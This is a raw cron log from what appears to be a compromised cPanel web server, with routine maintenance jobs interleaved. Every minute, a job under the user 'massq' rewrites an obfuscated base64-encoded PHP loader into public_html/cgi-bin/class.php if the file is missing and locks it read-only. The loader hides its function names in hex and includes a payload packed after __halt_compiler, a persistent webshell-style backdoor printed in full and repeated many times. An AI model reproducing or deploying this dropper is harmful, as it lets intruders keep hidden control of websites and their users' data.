Sep  5 10:24:01 server CROND[2766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:25:01 server CROND[3260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:25:01 server CROND[3261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:25:01 server CROND[3263]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:25:01 server CROND[3267]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 10:25:01 server CROND[3266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:25:01 server CROND[3265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:25:01 server CROND[3270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:25:01 server CROND[3268]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:26:01 server CROND[4138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:26:01 server CROND[4139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:26:01 server CROND[4140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:27:01 server CROND[4511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:27:01 server CROND[4513]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 10:27:01 server CROND[4512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:27:01 server CROND[4514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:28:01 server CROND[4890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:28:01 server CROND[4891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:28:01 server CROND[4892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:29:01 server CROND[5271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:29:01 server CROND[5273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:29:01 server CROND[5272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:30:01 server CROND[5655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:30:01 server CROND[5656]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:30:01 server CROND[5659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:30:01 server CROND[5657]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:30:01 server CROND[5658]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:30:01 server CROND[5663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:30:01 server CROND[5662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:30:01 server CROND[5660]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:31:01 server CROND[6572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:31:01 server CROND[6573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:31:01 server CROND[6574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:32:01 server CROND[6950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:32:01 server CROND[6951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:32:01 server CROND[6952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:33:01 server CROND[7391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:33:01 server CROND[7392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:33:01 server CROND[7394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:34:01 server CROND[7763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:34:01 server CROND[7764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:34:01 server CROND[7765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:35:01 server CROND[8209]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:35:01 server CROND[8214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:35:01 server CROND[8215]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:35:01 server CROND[8216]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 10:35:01 server CROND[8218]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:35:01 server CROND[8219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:35:01 server CROND[8220]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 10:35:01 server CROND[8221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
